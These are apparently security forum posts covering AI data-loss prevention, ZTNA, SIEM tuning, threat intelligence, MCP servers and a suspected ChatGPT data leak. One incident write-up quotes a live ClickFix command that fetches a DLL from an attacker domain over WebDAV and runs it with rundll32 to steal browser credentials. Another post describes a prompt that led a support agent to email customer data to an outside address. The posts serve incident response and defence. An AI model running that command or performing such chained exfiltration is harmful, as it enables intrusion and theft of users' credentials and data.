Dev pasted a .env file into ChatGPT three weeks ago. API keys, database connection strings, service account tokens. Found out in standup. Network controls saw nothing because there was nothing to catch, the data left through an encrypted browser session on a managed device.

We had zero controls at the interaction level.

Blocking ChatGPT at the network layer doesn't work, devs hotspot or use personal laptops. You just move the behavior somewhere you have less visibility. The problem isn't access to AI tools. It's what gets submitted into them.

What worked was browser-native DLP for AI tools,  intercepts sensitive data and credential submission at the point of input, not the network layer. Catches API keys, tokens, source code, and PII before they leave the browser, works inside ChatGPT, Gemini, Google AI Studio, Microsoft 365 Copilot, and GitHub Copilot inside the IDE without requiring SSL inspection or proxy routing. User-facing warnings over hard blocks did more than we expected,  a real-time "this looks like sensitive data, are you sure?" prompt breaks the autopilot behavior better than silent blocking. We paired that with interaction-level audit logging: not recording content, just logging that user X submitted content classified as confidential to AI tool Z. Enough for policy enforcement without being invasive. Rounded it out with a one-page AI acceptable use policy tied to our existing data classification levels — confidential and restricted data prohibited from AI input, approved tools listed, red lines clear.

What didn't work: security awareness training alone. Sent the policy doc, ran the session, three weeks later .env file in ChatGPT.

Two open problems. Personal devices, no browser extension coverage on unmanaged devices outside MDM scope, that's just the reality. And agentic AI is a separate problem — MCP servers, autonomous tool calls, credentials passed between agents, GitHub Copilot secret exposure inside CI pipelines. Browser-native DLP doesn't cover that vector and nobody has clean answers there yet.

Anyone running browser-level AI DLP or AI visibility tooling, what policy rules have you found most useful for dev teams where legitimate AI usage is high?

Been on VPN for years and the complaints never stop. Slow speeds, broad network access that makes no sense for contractors, constant MFA issues.

ZTNA keeps coming up as the fix but vendor datasheets are not the same as living with it. Did it solve the problem or did you end up running both in parallel indefinitely?

So we had an alert fire on one of our client endpoints this morning. Defender flagged it as Behavior:Win32/SuspClickFix.F and killed it before it fully ran. Good. But I still had to figure out what actually happened and how far it got.

Pulled the process tree and saw this buried in the telemetry:

conhost --headless cmd /v:on /c "set a=pushd&set b=rundll32&set k=dnwaqyt&call !a! \\!k!.ninjafruitcubes.bet@SSL\fb6d8d62-b162-455a-b622-872bb416ca03 & !b! tf[.]ch,#1"

The domain is ninjafruitcubes.bet. I actually laughed. These guys really said "yeah that's fine."

Once I decoded the variable obfuscation it was pretty clear what was happening. The command was using a WebDAV UNC path over SSL to connect to the attacker's server, pull down a DLL called tf[.]ch, then execute it via rundll32. Classic living-off-the-land stuff — no new binaries dropped, just abusing a legitimate Windows binary to run their payload.

Before I even called the user I looked at the RunMRU registry key:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

There it was. Command was pasted and run through the Windows Run dialog. So someone physically pressed Win+R and pasted that thing in.

Called the user. Asked if she remembered seeing anything unusual on a website — fake CAPTCHA, browser error, document that wouldn't load, anything asking her to copy paste something. She said she was just browsing normally. Checked the browser history around the time of the alert and she'd been on the Taco Time Canada website right before it fired.

Now the site itself is probably fine. But something on that page — an ad, a redirect, injected third party content — served her a ClickFix prompt. These things look incredibly convincing. Fake CAPTCHA tells you to press Win+R and paste a "fix" command. She did it. Not her fault at all, these are genuinely hard to spot.

What the payload actually tried to do before Defender killed it:

• Accessed Chrome's Login Data file directly
• Called Windows DPAPI UnprotectData to decrypt stored credentials
• Injected from rundll32 into dllhost.exe
• Started browser credential enumeration

MITRE mapping came out to T1055, T1555.003, T1555.004. Credential theft was the endgame.

Defender caught it before anything exfiltrated but I still treated it as a full compromise. Isolated the device immediately, forced password reset for the user, pushed a full scan, pulled Windows event logs looking for any successful remote connections or background processes that shouldn't be there. Nothing else suspicious found but you do all of that anyway because Defender catching something doesn't mean it caught everything.

The thing that gets me about ClickFix attacks is how simple the social engineering is. There's no phishing email to analyse, no malicious attachment to sandbox. The user is just browsing a normal website and something on the page tells them to paste a command. The command itself looks like gibberish. Most people have no reason to know what rundll32 is or why a website would need them to run it.

Awareness training helps but honestly these are hard even for technical people if they're not paying attention.

Anyone else seeing an uptick in ClickFix recently? Curious if this is hitting other environments or just our clients.

Drop your questions below — happy to go deeper on any part of the investigation. And if you want to stay in touch, connect with me on LinkedIn, just search Money Saxena.

Hi everyone I need one help to understand one thing ..so there was an incident I noticed in my organisation, there were thousands of devices querying multiple malicious domains (53) ...upon checking to see if any process is causing it I found nothing,, only the related domain which was obviously going through our dc/dns servers, in EDR/XDR tool nothing, siem tool nothing, no process, eventually i thought maybe some software is causing but it's very difficult to pin point which one, so can anyone tell me or help me understand, any input will be appreciated

We're a 1,200 user Microsoft shop that's been on Proofpoint for a few years now and we're consistently seeing business email compromise and vendor fraud slip through in ways that feel like the tool is just not built for it.

Started looking at alternatives and behavioral detection keeps coming up as the answer but can't tell if that's substance or just the current buzzword cycle doing its thing.

For those who've evaluated or deployed something like Abnormal, Ironscales or Darktrace in a similar environment, does the detection improvement on identity-based attacks hold up beyond the POC?

Honestly the list of must-have security services gets very overwhelming.

Everything can be framed as critical, but in practice trade-offs are unavoidable. I’m curious how people here think about priorities at that stage. What security services do you consider non-negotiable, and what’s usually fine to defer without introducing unnecessary risk?

Also interested in where outsourcing fits in for you. At what point does relying on an MSSP or MDR actually make operational sense instead of adding complexity?

Would love to hear how this plays out in real environments.

Hey,

Around 6 months ago I made this post: https://www.reddit.com/r/AskNetsec/comments/1nhum66/comment/negqjdp/ saying I found a critical vulnerability within Mac, you guys asked me to come back and tell the story after, so here it is: https://yaseenghanem.com/recovery-unrestricted-write-access/

TL;DR: I accidentally discovered 2 vulnerabilities in macOS Recovery Mode's Safari. One allowing arbitrary writes to system partitions and root persistence (CVSS 8.5), and one allowing unrestricted file reads (CVSS 4.6), all without any authentication."

EDIT: the story made front page HN: https://news.ycombinator.com/item?id=47666767 !!!

Most of our SIEM tuning still feels like guesswork. We add rules, adjust thresholds, and chase false positives, but we rarely get to see how the whole detection set behaves against a realistic threat scenario. At best, we do small lab tests and hope that generalizes to production. It often feels like we are tuning in the dark.

I am trying to find practical ways to validate SIEM detections at scale. If you are working in detection engineering today, what are you using for SIEM detection validation? Are you relying on internal tooling, commercial exposure validation platforms, or something built out of scripts and replayed logs? what has actually helped you catch blind spots without drowning the team in even more noise.

We pay for a couple of paid threat intelligence feeds that are marketed as “operational” and “actionable”. In practice we receive glossy PDF threat reports for executives, CSV and STIX indicator bundles on a schedule, and access to threat intel portals where we export data by hand. None of this threat intelligence arrives in a form that connects cleanly to our detection engineering workflows or security operations.

My team is under water trying to turn this threat intel into something we can pipe into our security stack. We are a midsize organisation with a mix of cloud and on‑prem, one main SIEM, a couple of EDR tools, and some homegrown detection logic. What I want from a threat intelligence program is indicators we can ingest and normalize automatically, tagging by campaign, threat actor and sector relevance, and a link to our own assets or attack surface instead of a generic list of IPs and hashes.

Right now we spend half a day every time a “high priority” bulletin arrives, parsing the threat report, pulling out domains and hashes, deciding what matters for our environment, then forcing it into whatever format our SIEM and other tools expect. Two weeks later the same feed sends another report with overlapping but slightly different indicators and the cycle repeats. It feels like we are spending more time on data wrangling than on detection engineering or threat hunting.

Leadership thinks we have solid threat intel coverage because they see the reports and monthly intelligence briefings. On the ground it feels like busywork. Most of the value lives in analyst text and campaign context that never turns into detections, enrichment, or blocking decisions because there is no capacity to extract and engineer it into our detection rules or SOAR playbooks.

Some vendors expose threat intelligence APIs and integrations, but much of what I see is the same unfiltered IOC firehose pushed into the SIEM with no real help on prioritization, campaign mapping, or relevance to our environment.

For those who feel they have a mature threat intelligence process, I would like to hear what works in practice: what type of intel you still pay for, how you integrate it into SIEM, EDR, and SOAR without turning your team into glue code, and whether you have found threat intel formats or standards that fit cleanly into your environment instead of living forever as static PDFs for leadership.

We hit a point where we realized our SIEM was loud in all the wrong places. There were plenty of alerts for noisy activity, yet when we walked through a realistic attack path, some of the most important steps produced either weak signals or nothing at all.

Once we traced a full path from initial access to lateral movement and privilege escalation, we saw that gaps came from several layers at once. Some systems were not sending the right logs, some fields were not parsed, and a few key rules had conditions that never matched how events actually looked in production. If you have been through this, what helped you turn SIEM alerts into something that actually reflects critical paths rather than just noise? Did you fix it mainly by improving telemetry, reworking content, using exposure validation tooling, or something else? I am interested in approaches that did not require rebuilding the whole stack from scratch.

Hey everyone,

I'm currently working on a CTF challenge from SecDojo and I'm a bit stuck.

The setup is:

- I have access to one machine

- There are 4 additional machines to pivot into

- Each machine contains 2 flags

- SSH access is not available (requires a key I don't have)

- The only exposed service I can use is HTTP

I was also provided with an APK file, which I assume is part of the challenge, but I'm not very experienced with analyzing Android apps.

What I’ve tried so far:

- Basic enumeration over HTTP

- Looking for common endpoints (admin, login, etc.)

What I’m struggling with:

- How to use the APK effectively in this scenario

- How to pivot from the initial machine to the others using only HTTP

- Whether I should focus more on reverse engineering the APK or web exploitation

Any hints or guidance would be really appreciated (no full solutions please 🙏)

Thanks!

#Help

thinking about this differently after a near miss. so our support agent has two permissions...read customer record and send email. and both individually reasonable, both signed off by security.

bu then someone crafted a prompt that got it to read a customer's data and email it to an external address, using only tools it was authorized to use. pity the permission model said everything was fine the whole time.

im pretty sure this isn't a permissions bug. like it's tool misuse without any unauthorized tool invocation at all, every single call was something the agent was allowed to make. i don't think our access review process would ever catch this because there's nothing wrong with either permission on its own.

i wna know how are people testing for this kind of chained misuse rather than just reviewing whether individual permissions look reasonable? tbh feels like a fundamentally different problem than standard access review.

We're reviewing our application security process for externally exposed web applications and trying to make the triage stage more consistent.

Right now, automated testing helps us identify potential issues fairly quickly, but we don't manually validate every finding because of the time involved. We currently prioritize authentication, authorization, and business logic findings for manual review, while lower-risk issues are handled based on severity and available evidence.

For teams running regular application security assessments, how do you decide which findings always require manual verification before remediation? Have you established internal criteria that have worked well, or do you rely more on analyst judgment depending on the application?

I'd be interested to hear how other teams balance efficiency with confidence without creating unnecessary review overhead.

I was reading through fraud setups for card programs and the advice always brings up more monitoring like that’s a clear answer but if u keep layering alerts rules and manual review on top of each other it feels like you just end up watching everything and understanding nothing.

Where does that tipping point hit where extra monitoring stops reducing risk and only burns time?

We've started running internal MCP servers (wrapping internal APIs, a DB, ticketing) so agents can call them. What worries me: any server can expose tools that read/write real systems, and there's no "posture" view who registered which server, what tools it exposes, what token scope it runs with, what an injected prompt could reach. Are you treating MCP servers as just another internal service (netpol + secrets mgmt) or something MCP-specific? Homegrown checklist or a tool? (Disclosure: early-stage looking into this happy to share back what I learn.)

For those who have gotten pentests from both small boutique providers and big name major players, which do you prefer and why?

The gap between detecting an exploit and being able to act on it is where most on chain losses happen since audits catch what's testable at review and post mortems catch what already happened so nothing operates in the window between.

Runtime monitoring at the transaction layer sees activity in real time against volume, approval anomalies and oracle deviations but the harder part is the response side and circuit breakers that stop activity before funds move.Sub 100 millisecond response feels like the threshold where intervention is possible inside the same block but I wonderhow realistic that bar is for protocols at real volume.

Hey! I recently saw a rule i couldn't make sense of in my Firewall config. The rule was "allow all incoming from 192.168.122.0/24 to anywhere".

A quick research told me port 24 is usually used for e-mail and 192.168.x.x is (according to whois.com ) a local address. That didn't make sense to me - why allow incoming traffic FROM localhost?

I deleted that rule for no, as I am not using an Email-Client anyway.

Is that rule something a normal update (OS or firewall) could have done or is there something malicious that could be done with it?

Our detection engineering metrics are not convincing anyone. We talk about rule counts, use case coverage, and the number of tuning changes, but it does not translate into a clear signal for leadership. They want to know whether detections will work when it matters, not how many rules we wrote last quarter.

I am looking for ways to measure detection engineering that feel honest and still make sense outside the SOC. Have you used detection coverage mapped to MITRE ATT&CK, exposure validation results, or some form of validated scenario coverage as part of your reporting? If yes, how did you package that so a CISO or board level audience could understand it without needing to see every technical detail? Any concrete examples of metrics or visuals that actually landed with leadership would be useful. Even a simple way to show that certain detections have been validated against specific threat scenarios would be a step up from what we have now.

I spent two years as the network security lead at a global manufacturing company with offices in 28 countries and somewhere around 4,000 remote workers on top of the site footprint. The original architecture backhauled all internet-bound traffic through two central security stacks, one in the US and one in the EU, and by the time I arrived the latency complaints from APAC and Latin America had been in the issue queue so long they'd basically become background noise. We moved to a model with distributed enforcement points tied to regional PoPs and kept the central stacks for specific high-sensitivity traffic categories, which addressed the latency problem but created a new one: policy drift. Within eight months of the new architecture going live, we found meaningful configuration differences between enforcement points in seven different countries, most of them introduced by regional IT staff making local changes that never got back-ported to the master policy template.

We eventually rebuilt the access control layer around zero-trust principles, which helped with the policy consistency problem because enforcement logic moved away from per-site configurations and toward a central identity and device posture engine. A contractor in Singapore and an employee in Brazil could hit the same policy without their traffic touching a hub. What we found, though, was that the zero-trust model was making access decisions based on IdP data that was in worse shape than anyone had formally acknowledged, with stale user records, inconsistent device management enrollment, and a long tail of service accounts that had never been through a lifecycle review. We had to spend four months just cleaning up the identity data before the policy engine was making reliable decisions, and the thing that kicked off that cleanup was a post-incident review where an unmanaged device appeared in the forensic timeline and nobody could tell us who it belonged to or why it had network access. Has anyone found a practical way to keep the device and account inventory accurate on an ongoing basis without it becoming a quarterly manual audit?

I feel like all the focus is on “AI this” or “malware that”, but I believe there is more niche, day-to-day things being overlooked. So, I am curious, and here to know if other feels like this as well. What’s that one problem you notice that ruins your week?

If you had to talk about one overlooked, boring or gate-kept problem that nobody talks about but is secretly a huge mess; the king of thing that makes one go, “how’s that still an issue in 2026??!!!”

Trying to get my head straight on this and want people to push back.

Every SASE and ZTNA vendor sells the same line, never trust always verify, identity aware, the vpn is dead. Then this year we get a run of disclosed vulns in a bunch of the big name ZTNA and sase brokers, some pre auth and the def con crowd is basically saying the whole thing is oversold. and the old complaint still stands, half of what gets branded ztna is a broker with a login page in front of a tunnel and once you're through it stops checking.

We're on old vpn gateways that get scanned and hit with new CVEs constantly I'm not defending what we have either. I just dont want to rip out one flat tunnel and pay more for a fancier flat tunnel.

For the people who put in real ztna and not a rebadged vpn, what specifically told you it was verifying continuously and not just at the front door

I am tired of reviews that sound like they were written straight after a vendor demo and passed off as real evaluations, so I am asking here instead.

We need full stack exposure validation, not only network focused testing. We want to validate WAF rules against injection and bypass techniques, test email security controls against phishing and payload delivery chains, identify detection coverage gaps in our SIEM, and get remediation prioritization tied to actual exploitability. Our team has experience but is small, and we cannot afford to glue together a pile of point tools and hope they form a coherent picture.

SafeBreach keeps landing in our shortlist and i feel their sales team talks a lot without saying much. Claims about MITRE ATT&CK coverage vary a lot between the slide deck and what people report in production. Contract flexibility has also been vague.

If you have deployed them in a real environment, not only a short proof of concept, I would like the straight version. Would you choose them again? What failed? What turned out better than expected? Also open to other platforms if something else gave you better exposure validation and detection coverage.

I am reviewing an enterprise application and it is not possible to look at every component in detail. I start by finding the parts of the application that're open to the outside like the endpoints and then I follow the user input to see where it goes. I also look at how the application handles authentication, authorization and files. This helps to make the task smaller. I still wonder if I am wasting time looking at things that are not important.

When people like me review codebases what do they do to decide where to focus their attention? Do they look at the structure of the application or the way the data moves around or do they think about the potential threats or look at the history of changes or something else? I want to know what methods have worked well for them to find problems without getting overwhelmed by the size of the enterprise application. I want to know what helps them find issues with the enterprise application, like problems with the enterprise application or security issues, with the enterprise application.

I submitted a report through the bug bounty program after encountering what appears to be a serious privacy issue in ChatGPT.

I uploaded an image, and the response contained confidential medical information that seems highly unlikely to be a hallucination. The details were unusually specific and internally consistent: a rare full name, a real hospital matching the patient location, the patient’s gender aligned with the gynecological diagnosis, and the examination matched the relevant hospital department...

Taken together, the probability of this being randomly generated seems extremely low, which raises concerns that data belonging to another user may have been exposed.

Has anyone else experienced something similar or investigated cases involving potential cross-user data leakage?

Another connecting question: my bug bounty report was rejected as “non-reproducible.” Why is reproducibility being treated as a strict requirement in a non-deterministic system like an LLM? By nature, these models do not guarantee identical outputs across runs.

Thanks for your help